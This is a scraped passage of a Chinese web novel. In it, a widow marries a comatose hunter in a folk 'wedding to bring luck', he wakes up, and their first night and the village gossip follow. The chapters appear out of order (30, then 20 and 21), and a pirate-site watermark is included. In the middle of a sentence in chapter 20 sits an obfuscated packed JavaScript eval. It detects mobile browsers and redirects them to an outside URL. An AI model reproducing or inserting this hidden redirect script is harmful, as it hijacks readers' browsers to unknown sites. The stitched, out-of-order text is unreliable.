对于长久昏迷的人而言,这刚醒来,身体的机能还没跟上,本来就不适合多动,久站。 拜堂又跪又拜的,体力消耗肯定也大。 一回到屋,祁晟就坐在床边上闭着眼调息。 何老婆子望着孙子,生怕眼前的孙子是自己的幻觉,也怕自己的孙子又昏睡过去,所以一直不敢挪开视线。 第30章 瞧热闹的村民, 看着祁晟醒来,也看着他拜了堂,只是怎么瞧着都觉得不对劲。 这不像是刚醒来,反倒像是刚还俗不久的和尚。 那头发怎剪成那样了? 直至新人送入洞房, 大家伙都还没反应过来。 好一会后, 又好奇起了今晚的洞房该怎么过。 里正驱赶道:“得了, 阿晟刚醒来,身体还没恢复过来, 就别凑在这凑了,各回各家去吧。” 里正都说话了, 自是不能继续留了。 瞧着村民七嘴八舌都走了, 里正才回到屋里:“何老太太,阿晟。” 祁晟睁开眼, 无神地朝着里正望了过去。 里正瞧着原本躺在床上死气沉沉的孩子, 如今坐在自己的面前, 哪怕眼睛暂时看不见, 却也极为欣慰。 “孩子, 醒了就好,眼睛的事慢慢来。” 祁晟点了点, 一派沉稳的应:“里正放心,我看得开。” 比起躺在榻上口不能言, 身不能动, 如今的情况,已是万幸。 陆鸢从厨房端来一碗稀饭, 说:“你躺了许久,定是饿了,先吃些清淡的填填肚子吧。” 祁晟摸索去接, 不经意触碰到那粗糙的指腹,停滞了一瞬,才接过,道了声:“有劳了。” 陆鸢心道,他还怪有礼貌的。 有礼貌,脾气也不会太差。 祁晟喝了一碗稀饭,陆鸢问:“还要吗?” 祁晟把碗递向说话的方向:“麻烦再来一碗。” 陆鸢接过,又出去盛了一碗。 今天成亲,何老婆子熬了一锅稀饭招待帮忙的人,这正好方便了祁晟醒来饱腹。 祁晟喝了第二碗,正要开口,陆鸢就抢先道:“你刚醒,不能一次吃得太撑,两碗就够了。” 祁晟闻言,点了点头:“听你的。” 陆鸢听到“听你的”这三个字,愣了一下,瞧了眼他。 这人脾气还真挺好。 喝了粥,祁晟对着一旁的祖母道:“祖母,你今日一定很累了,回去歇着吧。” 何老婆子声音还是有些哽咽,道:“祖母还是不敢相信你真的醒了,祖母怕一出这门,再进来,你又长睡不起。” 陆鸢在旁边道:“老太太,要不然我把竹床搬回来,你今晚歇在这屋,我和孩子到隔壁屋睡?” 何老婆子听到她的话,顿时从伤感中抽离,急道:“不行!” “这成亲流程不能少,新郎官哪有不和新娘子一间屋子的道理!” 这冲喜都冲成何老婆子的执念了。 “两孩子今晚我带,无论怎样,你俩都必须躺一张床上!” “祖母……” 祁晟还想说什么,立刻被何老婆子打断。 何老婆子:“这事没得商量。” 何老婆子站了起来,抱上秋花,喊上另一个孩子:“春花,今晚和曾祖母一块睡。” 陆鸢听到这声“曾祖母”,讶异何老婆子这接受能力还挺好的。 春花有些怯怯,她看了眼娘,不想走。 陆鸢摸了摸她的脑袋,温声道:“今晚先和曾祖母一块睡,明天咱们再一块睡。” 春花懂事地点了点头,转头看了眼自己的继父,又有些担忧地看了眼娘。 俩孩子被带走了,屋里一下安静了下来。 陆鸢觉着有点尴尬。 她站得累,自顾地坐到了床尾。 安静了许久,陆鸢看向床头闭目养神的男人,没忍住好奇,开口问:“你不是不想成亲吗,为什么还同意继续拜堂?” 祁晟睁开了眼,面朝向她:“你又是怎知我不想成亲?” 陆鸢:“第一,咱们没见过面,彼此不了解,而且我还是个死了丈夫,有两个孩子的寡妇,你一个头婚的,能愿意?” “第二,你上午那会,肯定是焦急想醒来阻止这婚事,不然心律怎会那么急促?” 祁晟开口道:“我与你的事,整个村子都已经知晓了,也共处一室了,于情于理我都应该负责。” “其二,我着急醒来,不是因为阻止这婚事。” “那这是因为什么?”陆鸢很好奇。 祁晟默了默,抿了抿唇,好半晌才开口:“因为你先前说过的话。” 陆鸢纳闷:“我先前说过什么?” 她和他说过的话实在太多了,好的不好的都有,她哪里记得那么多。 祁晟呼出了一口气,缓缓道:“我不想往后被人嗤笑,说家中母鸡孵化的鸡崽子是我的崽子。” 陆鸢:……啊? 她懵了好一会,忽然“扑哧”一声就笑了出来,笑声回荡在屋中。 “不是,你就因为这个才着急醒来呀?!” “我以为你是因为要与我成亲了,才着急上头,心律失齐,迫切地想要醒过来阻止呢。” 因为这一笑,陆鸢那点儿尴尬都消失了。 她往祁晟的方向挪过去,仅有半个人的位置才止住,她望着他,问:“那你与我说说,要是我真与那公鸡拜了堂,你打算怎么办?” 她忽然坐过来,没有半点矜持,反倒是祁晟有些不习惯。 不过转念一想,他昏睡的时候,她便一直都这样,倒也不觉得奇怪, “自然是不作数,重新再拜堂。”他说。 说到这,祁晟反问:“若是我不同意这亲事,你又当如何?” 陆鸢瞧着他也是好说话的,就如实道:“反正也没拜完堂,但你也确实醒了,你祖母还是觉着是冲喜起的作用,你若不愿意,我就和老太太说,让她收我做干女儿,你我做姑侄。” 听到这话,祁晟声一沉:“胡闹,哪里有夫妻做不成,做姑侄的?!” 陆鸢:“我也就是这么一说。” 想了想,她又问:“那咱们这以后,就是夫妻了?” 她问得倒是敞亮。 祁晟心忖到底是成过一次婚的,竟没有半点的不适。 他不自在地点了点头:“拜了堂,自然就是夫妻了。” 陆鸢忽然道:“好生奇怪的感觉,咱们明明是第一次说话,但就成了夫妻,与你坐在这里,熟悉却又陌生的感觉。” 祁晟听着她轻快的语调,好半晌,才问:“你一直都是这样吗?” 陆鸢疑惑道:“什么?” 祁晟斟酌几息,才道:“我在昏睡时,便听祖母提起过你的遭遇,你带着两个孩子逃荒至此,日子过得艰苦,可你现在的性子颇为洒脱,豁达,不像是遭过苦难的。” 她的性子一直都是这样的,算欢脱吗? 可要说她没遭过苦难,怎么可能。 她生别所有的亲朋好友,这辈子可能都没法再相见了,这难道不是苦难? 她从衣食无忧,没什么烦恼的青年,一睁眼家徒四壁,吃不饱穿不暖,日日糟糠野菜,席地而睡,还是两个孩子的寡母,这难道也不算是天大的苦难? 虽都是苦难,但她是想好好的活。 她道:“消极是一日,开开心心又是一日。况且我还想吃好穿好,自然不会自艾自怜。” 祁晟听着她的回答,好半晌,才说:“你与旁人好似真的有些不一样。” 陆鸢笑道:“这每个人性子都是不同的,自然是不一样的。” 说着,她打了个哈欠,说:“昨晚睡得晚,今日起得又早,忙了一日,我有些乏了。” 说到这,她停了停,又问:“你想好今晚怎么睡了吗?” 这话题跳得实属有些快,祁晟还没反应过来,又听她说:“你睡里边,我睡外边,夜里孩子哭,也方便我起夜去瞅瞅。” 说到最后,还是一问:“你看这样睡,成吗?” 她都已经安排好了,祁晟也只得点头应下。 陆鸢:“那我洗把脸,再睡,你要洗吗?” 祁晟:“洗。” 话音一落,他就能感觉身边的人利落起身,出了屋子。 甚至还听到隔壁孩子喊娘的声音,她应道:“快睡,明早一早起来就能见着娘了。” 陆鸢洗了脸,才把水端进屋里,放到杌子,再挪到祁晟面前。 “水就在你面前。” 祁晟道了声“多谢”,边摸索着边洗了脸。 陆鸢把水端出去倒了,率先爬上了床,占据了外边的位置。 “那我先睡了,你随意。” 祁晟一默,新婚第一夜,她倒是安适如常,没有半分的不适。 陆鸢也是头次和这么个大男人躺一块,有些紧张,但不多。 她拉了一角被衾盖到腹上,闭上了眼,说:“赶明儿到镇上的医馆,瞧瞧你的眼睛咋治,天也不早了,你也歇吧。” 祁晟沉默了许久,摸索上榻。似触碰到外边的人,还特意从床尾上来的。 床不大也不小,躺下两人,中间还能余出一些缝隙。 祁晟第一回与异性同睡一榻,到底做不到似苏氏那般安然处之,是以身体颇为紧绷。 陆鸢虽然困,但一下子也没法睡着,她睁开眼瞅了眼里侧的祁晟,就见他紧绷着,脖子和躯干都僵得直直的。 她没好气的问:“怎么,还怕我吃了你不成?” 祁晟听了这话,不禁好笑:“我一个大男人,还能怕你一个妇人?” 陆鸢闻言,侧身手臂撑起脸半躺,瞧着他:“你若不怕,先前我给你换衣的时候,你脸红什么?” 祁晟:“……睡吧。” 陆鸢笑了笑,这人和昏睡时一样,都不禁逗。 她复而躺下来,好一会后,才道:“你昏睡数月,现在醒来,怕一睡又似先前那样起不来,肯定是不敢睡的。” 苏氏的话,说中了祁晟的心思。 他的确不敢睡,怕一睡又醒不过来。 陆鸢:“等明日,叫吴大夫给你开点安神的药,你每日也多出去走走,适当的话也可以干点活,不需要卧床静养,这样身体累一些,晚上也好入睡。” 祁晟听着她絮叨完,才问:“你了解甚多,祖上可有从医的?” 陆鸢应得很顺:“嗯,祖父懂点草药,是个赤脚郎中。” 反正这里没人认识苏丽娘,两个孩子也没见过他们的外祖父,苏丽娘也甚少与她们提。她就是胡说八道,祁晟也没法查证。 祁晟:“你也学了一些?” 陆鸢继续胡诌:“乱七八糟都学了点,以前夫家怕我闹出事,不让我随便给别人看。当然了,我连草药都不会认,也不算会。” 说着话,陆鸢又打了个哈欠:“我困了,不与你说了,你自便。” 祁晟默了好一会,说:“这好像,是我的屋子吧?” 陆鸢虽听到他说话,但困得不想回应他,没一会就睡着了。 祁晟听着均匀绵长的呼吸声,便没在说话。 过了许久,他也没有半分睡意,即便双目看不见,也依旧睁着。 又不知过了多久,身边的人忽然一只手横过了他的胸膛。 祁晟一愣,还未反应过来,一只脚又搭到了他的腿上。 祁晟:…… 他默了好一会,才凭着感觉小心翼翼地拿起她的手臂往外放,又曲起腿,让她的腿滑下去。 好在她睡相不至于太差,只一回,之后手脚再也没有搭上来,祁晟也暗暗松了一口气。 逐渐天明,祁晟感觉到房门被人轻轻推开。 屋中虽点着红烛,但他双目视物不明,转头望去也只是一片昏暗。 “祖母,你怎过来了?”他放低了声音。 便是看不到,也知道来人是谁。 何老婆子一宿没睡,天一擦亮就没忍住过来看看孙子。 她看了眼睡在外头,睡得香甜的丽娘,又看向孙子,小声说:“我就过来瞅一眼,你再歇一会。” 说着就小心翼翼地退出了屋外。 确认孙子还醒着,何老婆子边深深呼了一口气,边拍了拍胸口。 陆鸢醒的时候,望着屋顶发了会呆。 好久没睡过这么舒服的觉了。 半晌后,才反应过来自己昨天成亲了,祁晟也醒了。 她能睡得这么舒服,是因为昨晚睡的是木板床,所以格外舒服。 她扭头看了眼里侧,祁晟已经起来了。 她从床上起来,拿过一旁的梳篦,梳头编发,然后用布巾挽着走出屋子。 门一开,就看到门外头蹲着的两小只。 而祁晟则穿着昨日那身衣服,坐在院子外,不知在想些什么。 寸头黑色古袍,竟也不违和。 陆鸢蹲下来揉了揉两个孩子的脑袋,问:“怎么醒来了没喊我?” 春花应道:“曾祖母不让我们叫娘,说让娘睡久点。” 陆鸢诧异地看向厨房的方向,她这待遇,从今天就要改变了? 才想着,厨房就传出何老婆子喊她的声音:“醒了就赶紧过来帮忙,别想着我来伺候你。” 陆鸢:…… 她想多了。 祁晟回了神,听着苏氏应他祖母,“我好歹还把祁晟冲喜冲醒了,就不能让我再闲两日?” 祁晟暗道其实也不算是冲喜醒的,但事实上他也真的是因为苏氏才醒的,还真反驳不了。 陆鸢盥洗后,才进的厨房。 一进厨房就闻到了鸡汤的味道,她循着气味往瓦锅望去,掀开看了眼,是炖鸡汤。 她一惊:“老太太你把大红给杀了?!” 何老婆子没好气道:“炖鸡汤用的母鸡!是从别人家买来的!” 陆鸢松了一口气,问:“那大红咋办?要杀了?还是拿到市集上卖了?” 祁晟听着厨房里的对话,微微蹙眉。 烧火的何老婆子一顿,与陆鸢对视好半晌,才问:“你觉得呢?” 陆鸢:“好歹都拜了一半的堂,也是个吉祥物,怎么安排都不合适,要不先养着?” 何老婆子道:“它又不会生蛋,留着也浪费粮食。” 陆鸢:“也可以和母鸡配种,孵两窝小鸡也可以的。” 祁晟听到她的话,一时无言。 她竟还想着孵小鸡的事…… 何老婆子闻言,瞅了眼院子外头的孙子,小声道:“别瞎咧咧,再怎么着,也不能用大红配种。” 陆鸢也反应了过来,确实,祁晟还挺在意这点的。 一下子,问题又回到了起点。 “那怎么处理?” 何老婆子一默,还真不好处理,最后也是和她一样的答案。 “那就先养着吧。” 两人达成了共识,一会后,陆鸢问:“能不能给银子,请里正用牛车拉祁晟去镇上看大夫?” 何老婆子忙纠正:“叫什么祁晟,那是你郎君,哪有夫妻直呼其名的,你得喊郎君!” 陆鸢只得改正:“那能不能去找里正,用牛车载我的郎君去镇上?” 听到厨房里传出的那声郎君,祁晟有些许的不自在。 何老婆子满意了,道:“今早我就去找了里正说了这事,约好一会吃完早饭就去镇上。” 说着,她朝着外边的孙子道:“晟哥儿,吃了早饭,咱们再去镇上。” 祁晟应:“缓点没关系。” 他知晓祖母为了医治他,几乎把家底都掏光了,家里也没什么银子了。 陆鸢却在一旁道:“怎么没关系了,得赶紧治好,挑起当家的大梁。” 这挑水砍柴的活,虽说这个月还有牛翠干,但过了一个月,也就没人干了。 她细胳膊细腿,一个人挑一家五口人的用水,还不得把肩膀都压垮了? 祁晟的眼睛得治,还得赶紧治! 陆鸢想了想,又道:“如果你是担心银钱的问题,我有一点,就先垫着。” 何老婆子也道:“我多做几条帕子,到时托人拿到城里卖,总能卖得高价。” 现在也不用李老汉帮忙照顾了,一个月也能省下几十文钱。 祁晟沉默了下来,顿感无力。 他虽然醒了,但因着这双眼睛,依旧还是个拖累。 何老婆子喊两个孩子:“春花,秋花吃朝食了。” 听到祖母喊两个孩子,祁晟想起苏氏的两个孩子。 他没当过后爹,在看不见的情况下,也不知道该怎么和这两个孩子相处。所以从醒来到现在,都还未说过话。 何老婆子把孙子带到桌边坐了下来,撇了油,舀了一碗满满都是肉的鸡汤放到他面前,说:“你昏睡三个月,瘦了一大圈,多吃点补补。” 何老婆子只顾着孙子,连自己都没顾上,陆鸢便给她和自己,还有两个孩子都舀了一碗汤。 她舀起一勺吹了吹,喂给秋花:“多吃点,补补身子。” 她琢磨着这两个孩子腹中有虫,所以这大半个月下来,便是能饱腹了,还是一点变化都没有。 一会去镇上,也把她们带上,让大夫给把把脉,顺道开些能驱虫的药。 陆鸢把秋花喂了,再给她一个鸡爪子啃着,然后才喝上自己的汤。 虽然鸡汤里什么都没放,可用砂锅煲的老母鸡汤,又香又鲜,还带着丝丝甜味。 陆鸢喝了一碗,又去盛了一碗。 往常肯定会数落她的何老婆子,这回却少见的没阻止。 陆鸢回位置上坐下,问:“老太太,这一只母鸡得多少钱?” 以后每半个月炖上一会,不仅能打打牙祭,还能补身子。 何老婆子道:“三十五文一只,怎地,你也想买来炖汤?” 陆鸢笑道:“等我再摆上几回摊,手里富裕了,就买。” 喝了鸡汤,何老婆子又给孙子盛了一碗鸡汤熬的粥:“喝点粥。” 祁晟:“祖母你吃,别只顾着我。” 何老婆子望着孙子,眼里是藏不住的笑:“看着你吃,祖母心里就高兴。” 陆鸢吃得快,吃好了,便道:“我先去把衣服洗了,你们先吃。” 说着,就离开了位置,拿了衣服就去河边洗。 去了河边,已经有好些个妇人在洗衣服了。 平时一个个对她爱答不理的妇人,一见着她,立马招手:“祁家媳妇,来这,来这。” 一个个妇人,好不热情,把陆鸢都给吓了一跳。 毕竟伸手不打笑脸人,陆鸢也扬起笑,回道:“你们先洗,你们先洗。” 她跑到黄兰身边蹲下,小声嘀咕:“之前还因为我是个寡妇,觉得不吉利,话都不与我多说。今儿个一个个这么的热情,都中邪了不成?” 黄兰好笑道:“那里是中邪了,是好奇你家的事,再者都觉得你把何老婆子的孙子给冲喜醒了,是个有福气的,也都想沾沾你的喜气。” 陆鸢撇了撇嘴,心说这些人还真现实。 黄兰问:“祁晟现在什么情况,他头发咋被剪了?瞧着还真像是和尚还俗回来的,而且我还听我大伯哥说他眼睛瞧不见了,咋回事呀?” 陆鸢解释:“之前他长睡不醒,躺着沐发不方便,便剪成那样了。眼睛瞧不见,许是磕着头伤着了眼睛,一会儿就去镇上的医馆瞧瞧。” 黄兰叹了一口气,说:“好不容易醒来了,家里也有了劳动力,可别出了什么差错。” 说着,又提起旧事:“你家男人以前可是村里打猎的一把好手,他甚至还猎过狼呢,挣了不少的银钱。” “这回好了,估计何老婆子也不会再让他进山打猎了,家里的田也都典给了里正,那这之后能干啥?” 陆鸢想了想,说:“只要四肢俱全,眼睛也治好了,肯定能找到活计的。” 他打猎都那么厉害了,干别的活肯定也不成问题。 便是干不成别的,那也是可以跟着她一块做买卖的。等她有了帮手,没准还能考虑在镇上租一个长期摊子,除了卖豆乳,也还能卖点别的呢。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 20.第 20 章 何老婆子听了陆鸢的话,叹了一声气后,才到饭桌前坐下。 陆鸢把饭碗推到了何老婆子的面前:“老太太,先吃饭吧。” 何老婆子执起竹筷,有些食不知味地吃了起来。 吃了几口菜,忽然顿了顿,看锅里的菜,她讶异道:“这还是和昨天一样的笋干吗?昨日明明吃着没啥滋味,今日和肉一起炖,咋会好吃了这么多?!” 陆鸢道:“和肉一块炖菜,自是比素炖好吃。” 砂锅炖菜,也比铁锅炖的要好吃。 何老婆子又多尝了几筷子,心情终于好了些,说:“这笋干下饭,就算不摆摊,拿到有客来食肆给柳掌柜,柳掌柜也是会要的。” 陆鸢默默低头,含糊不清的说:“我已经送去了。” 何老婆子一下子没听清,问:“说的啥玩意?” 陆鸢只得重复一遍:“早上拿去镇上的笋干,就是给柳掌柜送去的。” 说着又补充:“没要钱,让柳掌柜先尝尝。” 听到这话,何老婆子轻嗤了一声:“你倒是机灵,还知道去有客来食肆。” 陆鸢讪讪笑道:“这不是有着明摆的门路么,我不去多可惜。” 何老婆子上下打量了她一眼:“柳掌柜竟也不嫌你穿成这样。” 陆鸢闻言,低头瞧了自己身上的衣服。 已经褪色辨不出原来的颜色的,也皆是缝缝补补,她这些天都是当做潮流乞丐装穿的。 外边的衣裳便算了,就是贴身的衣服,她穿得总是有些不自在。 她琢磨等过几天到镇上赶集的时候,再去买几尺棉布用来做里边的衣裳。 一想到又要花钱,陆鸢心下无奈暗忖,真真是铜板没挣几个,却一天天都有花钱的地方。 “柳掌柜人好,自是不会嫌弃。”陆鸢应道。 何老婆子听到这话,神色又黯淡了下来:“晟哥儿也说过柳掌柜人好。” 陆鸢:…… 好端端的,怎又提起了祁晟? 她也没法安慰,只得埋头吃饭。 这肉和笋实在太香了,配着豆渣饭,着实下饭。 以前生活条件好,一天天的都嫌肉腻味,就爱吃两口青菜,可现在她只有一个念头——多吃肉,少吃菜。 吃饱喝足,陆鸢吃的饱饱的,一点儿都不想动。 歇了一会儿,她才起身进厨房端祁晟的流食。 她往米汤里加了点盐,才端出厨房,去了祁晟的屋子。 陆鸢一如既往地先听祁晟的心律。 依旧平缓如旧。 她叹了一口气,继续给祁晟灌入流食,在旁念叨:“以前每天至少能碰到两回你是有神志的的,怎的从昨晚到现在就没了呢?” “你还是赶紧恢复神志吧,你祖母听说你这两日的情况,愁得吃肉都高兴不起来了。” “你祖母年纪大了,可经不住刺激。” 陆鸢絮絮叨叨的念了好些,试探性的把手放到了他的胸口处。 这不放还好,一放就能感觉到比平时的心跳快了些。 陆鸢一愣。 现在这会是有意识的? 不会这么巧吧? 一说到他祖母,就碰巧恢复了意识? 逐渐地,心跳又恢复了平缓,好似刚刚是她的错觉。 但作为一个医疗人员,病人的情况可不容有错觉。 她分明就感觉到了心跳频率事有起伏的。 陆鸢怀疑的目光落在了祁晟的身上。 脑筋转了一圈,她把余下的米汤喂完,然后就出去了。 祁晟感觉到苏氏出去了,在心底暗暗松了一口气。 他听到祖母担心,确实心乱了。但随即想到,若是自己压根就没有醒过来的可能,却误导了祖母,给了祖母渺茫的希望,那还不如一开始就没有希望。 如此等他不在了,也不至于一下悲伤过度,难以接受。 思及此,祁晟便又开始背诵起了诗词。 不管是为了应付苏氏,还是为了不给祖母希望,他都得尽可能稳住心律,不叫苏氏发现。 以寻常人的情况而言,成为活死人,就算是吊着一口气,最多也只能活数月。他身体强壮过寻常人,那最多算半年。 他再撑数月,一切也都可以结束了。 祁晟思索间,察觉似乎又有人进了屋子,正欲默念诗词,忽然耳边传来“咚”的一声,与其同时也响起了祖母的惊呼声。 “诶唷!” 祁晟心头蓦地一跳。 祖母这是怎么了?! 下一刻,祁晟只感觉心口上方落有东西压了上来。 是手,掌心贴在了他的胸膛,在感受他的心跳。 祁晟一怔,旋即反应了过来,他似乎被算计了。 果不其然。 下一瞬,他听到了祖母急切的声音:“怎么样,晟哥儿的心跳有没有变化?” 祖母竟与苏氏合起伙来算计他一个活死人…… 而且让祁晟完全没想到,不过就是一天的时间,自己的伪装就被识破了。 这苏氏,究竟是个什么样的人? 原以为是个寻常的乡野村妇,可随着这些天越来越多的接触,他发现她对男女大防的观念很淡,一张嘴什么惊骇世俗的话都能说得出来。而且,她不仅聪慧,还对小事观之入微,尤为细致。 祁晟对苏氏,是真的越来越好奇了。 …… 陆鸢很生气。 她居然被一个植物人耍着玩了。 不是,他一个植物人,居然和她玩心眼? 他是不是躺太久了,给闲的?! 陆鸢暗暗呼了一口气,转头对何老婆子道:“老太太,我能不能和你孙子说几句话?” 何老婆子瞧到了苏氏脸上隐忍的怒意,便知她生气了。 方才苏氏从屋中出来,与她说晟哥儿有可能是装的。 到底是自己的孙子,何老婆子还是了解的,晟哥儿是不想活了,所以才会装。 苏氏说她要确认一下。 而确认的方法,便是挑晟哥儿最在意的事来做试探。 苏氏让她这个老婆子在孙子面前演戏,用力敲一下地面,再惊呼一声。 何老婆子想让自己个孙子活着,自然是配合的。 这法子,显然也奏效了。 何老婆子觉着苏氏靠谱,也就随她了,只留了句:“你别骂过火了。” 她舍不得骂,就让苏氏骂吧。 陆鸢没好气道:“我不骂他。” 何老婆子不太信。 瞅了眼孙子后,也就转身出了屋子。 屋中一时安静了下来,许久都没听到苏氏的声音,但他知道她还在屋中。 直觉告诉他,苏氏在看着他。 陆鸢看向祁晟,沉默片刻后,才开了口:“我知道你有口难言,也知道你觉着时下比死了更难受,也存了想死的心。” 她看见过很多因身体瘫痪而想寻死的人。像祁晟这种植物人状态,是最消磨意志的,不想活也是正常的,是以她不会骂他,就是恼自己还是个医疗人员呢,却被个植物人耍了。 陆鸢继续道:“你有想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15515898|169989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 求死的心思,这都是正常的,可你有没有想过……” 她话只说一半就停顿了下来,让他急一会。 祁晟逐渐地把苏氏的话听了进去,只是只听了一半却停了,心下多了丝急躁:到底想过什么? 好一会后,陆鸢才继续:“你到底有没有想过,你既然都能操控自己的心律了,你还怕自己醒不了吗?” 一语点醒梦中人。 祁晟心下倏然一震。 陆鸢把掌心平放在他的心口上,语速徐缓:“这回是心律,那下回能不能是眼睛?或是身体?” “你尚有神志,是有机会醒过来的,但必须得和自己,和老天爷斗一斗,斗赢了,前边一片敞亮。斗输了,左右不过就是死了。” “你都不怕死了,为什么就不能斗一下?” “话就说到这了,你自己想想吧,要死还是要活看你自己的了。” 陆鸢从屋里出来,何老婆子问:“晟哥儿咋样了?” 陆鸢:“他做不了反应,我也不是他肚里的蛔虫,不知道他怎么想的。” 何老婆子闻言,一下子就愁了起来。 陆鸢该照顾也照顾了,该说的也都说了,祁晟能不能想通,还得靠他自个。 陆鸢从何老婆子身边走过,正要回屋,却听何老婆子小声嘀咕道:“看来还是得冲喜,把晟哥儿冲醒!” 陆鸢:…… 这不就迷信了。 植物人哪能冲喜就能冲醒的,要真的能,世上就没那么多希望出现奇迹了。 * 一大早,陆鸢便拿着衣服到河边洗。 在路上走的时候,遇上村子里的人,都用古怪的眼神打量着她。 陆鸢现在和黄兰走得近,所以特意把底细透露给了黄兰。 她借由黄兰的嘴把来历都透露出去了,现在的村民咋还对她这么的好奇? 陆鸢纳闷地抱着木盆到了河边,才一蹲下,就有两个和黄兰差不多年纪的妇人凑了过来。 “丽娘,听说你在镇上摆了个豆乳摊子,还挣了不少钱,是不是真的?” 陆鸢:…… 这改口还挺快,之前背地里喊的都是寡妇长寡妇短的。现在这会,在她面前都喊上丽娘了。 陆鸢笑笑,应道:“也没挣几个钱,只够糊口而已。” “怎可能只是够糊口呢?我都听黄兰婆婆说了,你上回带出去的两桶豆乳,好几十碗呢,都给买完了!” “你教教我们俩呗,我们也不抢你生意,就在镇外支个摊子,卖给过路人。” 陆鸢笑道:“两位嫂子真爱开玩笑,嘴巴一张一合,就让我把家里祖传的秘方说出来,这可不兴说。” 一个妇人不满道:“做个豆乳而已,说得旁人不会做似的,何至于扯什么祖传的秘方?我瞧你就是不想教,自己吃独食。” 陆鸢笑容不变,应得一点也不委婉:“是的,我不想教。” 那妇人被陆鸢一噎,还真说不出别的话来了。 另一个妇人拉着她走了。 走到河对面后,才可惜道:“要知道这苏寡妇还能挣钱,早知便让家里的二叔收留了,总归我家里的二叔到现在都还没媳妇。” 方才问配方的妇人说:“现在也不迟呀,听说寡妇都还没有公鸡拜堂呢,而且与祁晟也不是住在一个屋,有啥不可以的?” “你要觉得你二叔真愿意要寡妇做媳妇,你就悄摸的找个媒人,让媒人私下去问问苏寡妇要不要换一门好亲事。” “这一个是正常人,一个是活死人,任哪个明眼的人都知道该选谁。” 21.第 21 章 何老婆子一早就拿着布袋,和苏氏给的铜板出了门,去里正家买米。 里正家有好几个同村的妇人聚在一块纳鞋底,唠嗑。 里正娘子笑着问:“老太太这怎么舍得来买米了?” 何老婆子笑道:“哪是我舍得,是我家丽娘挣钱了,把钱给我这个老太婆,让我来买。” 那些个妇人闻言,面色都各有不同。 有妇人调侃道:“倒是给何老婆子你捡到宝了。” 也有妇人酸道:“寡妇能挣钱了,指不定就跑了,何老婆子你可长点心,别偷鸡不成蚀把米。” 何老婆子素来要强,冷笑了声:“你可别咸吃萝卜淡操心我家的事,她就算跑了,那也是给银子我花了。你家儿媳就算不跑,也不见得能给银子你花。” 里正娘子眼见要吵起来了,忙做和事佬,说:“就话话家常,可别真吵起来,同一个村子,抬头不见低头见的。” 何老婆子朝着那妇人轻哼了一声:“我是老了,不是骂不动了。老婆子我年轻的时候脾气冲,可胡乱招惹我。” 那妇人受了气,脸色涨红,想要再说什么,却被身边的人摁住。 一个寡老太太能把孙子拉扯大,可不是个善茬。 再说了,要真把这老婆子吵出个好歹了,还得帮她家收拾烂摊子呢。 里正娘子见消停了,松了一口气,与何老婆子道:“老太太你随我进来,我给你舀米。” 老太太拿着米袋跟着进了堂屋,也把十八文钱给了里正娘子。 里正娘子进去舀了米,在何老婆子面前打了称,才交给她。 里正娘子接着压低声音道:“今早地里拔了一些菜苗,老太太你让丽娘晚些时候,拿个篮子过来,我给她带回去。” 这菜地里的种子下多了,菜苗就挤着长,要拔了一部分,菜才能长得快。 平时谁家有多的菜苗,都会送给别人。 里正娘子:“今早也有人问我要多余的菜苗,我没给。我记得丽娘提过下了菜种,这得等到什么时候才能吃上菜,但这菜苗种下去,半个月就能吃上菜了。” 何老婆子听到里正娘子一口一个丽娘,有些诧异,可也没多问。 回了家,见苏氏正在晾衣服,她就问:“你啥时候和里正娘子这么熟了?” 陆鸢不解地转头看向她:“咋了?” 何老婆子:“里正娘子给你匀了菜苗,让你晚会带篮子过去一趟。” 陆鸢顿时喜道:“前日去磨豆子的时候提了一嘴,说不知道什么时候才能吃上青菜,里正娘子就给说她家里有多的菜苗,能给我分一些。” 陆鸢前后去了三回里正家,磨豆子的时候也会和里正娘子唠嗑,唠着唠着就熟络了起来。 何老婆子道:“你倒是和谁都能聊得起来,嘴皮子这么能说,我也不知道之前怎会觉得你嘴笨,老实。” 陆鸢把衣服拧干搭到竹竿上,应:“这不是怕老太太你不喜欢嘴皮子利索的,才装出老实巴交来,不然老太太你收留我?” “那自是不能。” 要是一开始就是这个性子,她还怕寡妇心眼子多,不是个安分的。 陆鸢乐了,追问:“那现在呢?” 何老婆子白了她一眼:“别说有的没的,你可别忘了当时答应过留下来的条件是什么。” 陆鸢好心情没了,转头继续晾衣服,暗暗撇了撇嘴,应:“没忘。” 成亲可以,后边那个条件,她可做不到。 晾了衣服,陆鸢就进祁晟的屋子,给他灌流食。 进屋先把流食放一边,和床上的祁晟说:“我要数一数你的心跳,你要是有神志,就胡思乱想一些能刺激你的事。” 陆鸢等了一会,才趴到祁晟的胸膛上,听着跳得越发激烈的心跳。 好家伙,这是在心底练习打鼓吗? 她听了一会,直起身盯着祁晟,开了口:“你到底想了什么,心跳得这么快?” 她话一出,祁晟的脸逐渐泛起了一丝绯红。 陆鸢不不知道想到了什么,不厚道地笑了,打趣道:“你可别是想了什么花前月下,男欢女爱之事吧?” 不多时,祁晟的脸色更红了。 她瞧着不像是臊红,反倒像是被气憋红的。 陆鸢觉着祁晟要是这清醒的话,肯定会气得把她逮起来揍。 她也就只仗着人是躺着的,才敢嘴花花。 刺激够了,陆鸢也不欺负植物人了,她敛了笑,说:“不打趣你了。” 她也不是完全是没事找事,而是在刺激的过程中,让祁晟更加的情绪化,从而保持他大脑皮层的兴奋度,增加苏醒的可能性。 陆鸢继而给祁晟灌了流食,然后忙去了。 她把竹笋都搬出院子晾晒。 上回陆鸢和何老婆子忙活了两天,一共弄了整整两大盆的竹笋。 一百多斤的竹笋,晒干了也还能三四十斤笋干。 等这批晒得差不多了,再去其他竹林弄一茬,估计等她卖出名堂了,也会有人跟风去挖,到时候竹笋也不好找了,所以赶紧多囤一点。 这古人也不是个傻的,多费心思琢磨琢磨,也能想到祛除苦涩的法子。晾晒成笋干这点更不用说了,人家晾晒干货,可比她有经验多了。 